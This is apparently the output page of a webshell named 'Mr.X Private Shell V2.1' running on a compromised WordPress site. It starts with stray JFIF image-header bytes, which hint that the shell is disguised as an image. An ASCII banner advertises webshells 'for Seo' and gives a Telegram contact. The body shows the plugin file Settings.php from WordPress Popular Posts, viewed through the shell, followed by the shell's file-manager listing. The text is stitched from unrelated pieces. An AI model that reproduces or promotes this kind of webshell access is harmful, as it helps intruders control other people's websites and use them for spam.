����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Set / get plugin default options.
*
* @link http://cabrerahector.com
* @since 4.0.0
*
* @package WordPressPopularPosts
*/
/**
* Set / get plugin default options.
*
* @package WordPressPopularPosts
* @author Hector Cabrera <me@cabrerahector.com>
*/
namespace WordPressPopularPosts;
class Settings {
/**
* Plugin uploads directory.
*
* @since 3.0.4
* @var array
*/
private static $defaults = [
'widget_options' => [
'title' => '',
'limit' => 10,
'offset' => 0,
'range' => 'daily',
'time_unit' => 'hour',
'time_quantity' => 24,
'freshness' => false,
'order_by' => 'views',
'post_type' => 'post',
'pid' => '', /* Deprecated */
'exclude' => '',
'author' => '',
'cat' => '',
'taxonomy' => 'category',
'term_id' => '',
'shorten_title' => [
'active' => false,
'length' => 25,
'words' => false
],
'post-excerpt' => [
'active' => false,
'length' => 55,
'keep_format' => false,
'words' => false
],
'thumbnail' => [
'active' => false,
'build' => 'manual',
'width' => 75,
'height' => 75,
'crop' => true
],
'rating' => false,
'stats_tag' => [
'comment_count' => false,
'views' => true,
'author' => false,
'date' => [
'active' => false,
'format' => 'F j, Y'
],
'category' => false,
'taxonomy' => [
'active' => false,
'name' => 'category'
]
],
'markup' => [
'custom_html' => false,
'title-start' => '<h2>',
'title-end' => '</h2>',
'wpp-start' => '<ul class="wpp-list">',
'wpp-end' => '</ul>',
'post-html' => '<li class="{current_class}">{thumb} {title} <span class="wpp-meta post-stats">{stats}</span></li>'
],
'theme' => [
'name' => '',
'applied' => false
]
],
'admin_options' => [
'stats' => [
'range' => 'last7days',
'time_unit' => 'hour',
'time_quantity' => 24,
'order_by' => 'views',
'limit' => 10,
'post_type' => 'post',
'freshness' => false,
'y_scale' => false
],
'tools' => [
'experimental' => false,
'ajax' => true,
'css' => true,
'link' => [
'target' => '_self'
],
'thumbnail' => [
'source' => 'featured',
'format' => 'original',
'field' => '',
'resize' => false,
'default' => '',
'lazyload' => true
],
'log' => [
'level' => 1,
'limit' => 0,
'expires_after' => 180
],
'cache' => [
'active' => true,
'interval' => [
'time' => 'minute',
'value' => 1
]
],
'sampling' => [
'active' => false,
'rate' => 100
]
]
]
];
/**
* Returns plugin options.
*
* @since 4.0.0
* @access public
* @param string $option_set
* @return array
*/
public static function get(string $option_set = '')
{
$options = self::$defaults;
if ( 'widget_options' == $option_set ) {
return $options['widget_options'];
}
$admin_options = get_option('wpp_settings_config');
if ( ! $admin_options ) {
$admin_options = $options['admin_options'];
add_option('wpp_settings_config', $admin_options);
}
else {
$options['admin_options'] = Helper::merge_array_r(
$options['admin_options'],
(array) $admin_options
);
}
if ( 'admin_options' == $option_set ) {
return $options['admin_options'];
}
return $options;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Activation | Folder | 0755 |
|
|
| Admin | Folder | 0755 |
|
|
| Block | Folder | 0755 |
|
|
| Compatibility | Folder | 0755 |
|
|
| Container | Folder | 0755 |
|
|
| Front | Folder | 0755 |
|
|
| Rest | Folder | 0755 |
|
|
| Shortcode | Folder | 0755 |
|
|
| Traits | Folder | 0755 |
|
|
| Widget | Folder | 0755 |
|
|
| Bootstrap.php | File | 752 B | 0644 |
|
| Cache.php | File | 3.08 KB | 0644 |
|
| Helper.php | File | 10.93 KB | 0644 |
|
| I18N.php | File | 1.23 KB | 0644 |
|
| Image.php | File | 33.92 KB | 0644 |
|
| Output.php | File | 41.5 KB | 0644 |
|
| Query.php | File | 24.46 KB | 0644 |
|
| Settings.php | File | 4.9 KB | 0644 |
|
| Themer.php | File | 4.47 KB | 0644 |
|
| Translate.php | File | 4.18 KB | 0644 |
|
| Upgrader.php | File | 6.57 KB | 0644 |
|
| WordPressPopularPosts.php | File | 2.62 KB | 0644 |
|
| deprecated.php | File | 79 B | 0644 |
|
| template-tags.php | File | 9.84 KB | 0644 |
|